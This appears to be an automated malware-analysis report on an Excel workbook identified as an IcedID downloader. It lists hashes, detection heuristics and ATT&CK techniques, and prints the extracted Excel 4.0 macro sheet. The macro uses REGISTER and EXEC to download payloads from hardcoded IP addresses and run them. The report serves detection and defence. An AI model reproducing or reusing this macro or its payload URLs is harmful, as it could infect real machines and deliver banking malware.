IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 6be480d0573bb3a7…

MALICIOUS

Office (OOXML)

322.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: 78d736ce093ffecb4626ecb98ac9784d SHA-1: 978ec6fa94213e732d75cb6612b0766f2c7f524d SHA-256: 6be480d0573bb3a706da5efb99265e21d3ef1220e1f923a7942852673826d9c2
290 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains critical Excel 4.0 macros that utilize dangerous functions like REGISTER and EXEC, which are known primitives for downloading and executing payloads. The macro code attempts to call the function 'Jerutyg' with the URL 'http://190.14.37.233/' and saves the output to '..\Kro.fis', then executes it via 'regsvr32'. This strongly indicates a downloader functionality, consistent with the IcedID family, which often uses macro-enabled documents for initial infection.

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.82.127.183/ In macro / runtime command snippet
    • http://185.82.202.202/In document text (OOXML body / shared strings)
    • http://190.14.37.233/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2657 bytes
SHA-256: 3c445f2a76a644566f9dd0ac3de5d0888e402e13fef7865636d4026db2eba654
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:G25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="2"/><col min="6" max="6" width="27.5703125" style="2" customWidth="1"/><col min="7" max="7" width="36.7109375" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="8" spans="6:7" x14ac:dyDescent="0.25"><c r="G8" s="2" t="str"><f>NOW()&amp;".d"&amp;"at"</f><v>44370,6160976851.dat</v></c></row><row r="12" spans="6:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>Jerutyg(0,"http://190.14.37.233/"&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:7" x14ac:dyDescent="0.25"><c r="F14" s="2" t="s"><v>4</v></c><c r="G14" s="2" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:7" x14ac:dyDescent="0.25"><c r="F15" s="2" t="s"><v>5</v></c><c r="G15" s="2" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="20" spans="7:7" x14ac:dyDescent="0.25"><c r="G20" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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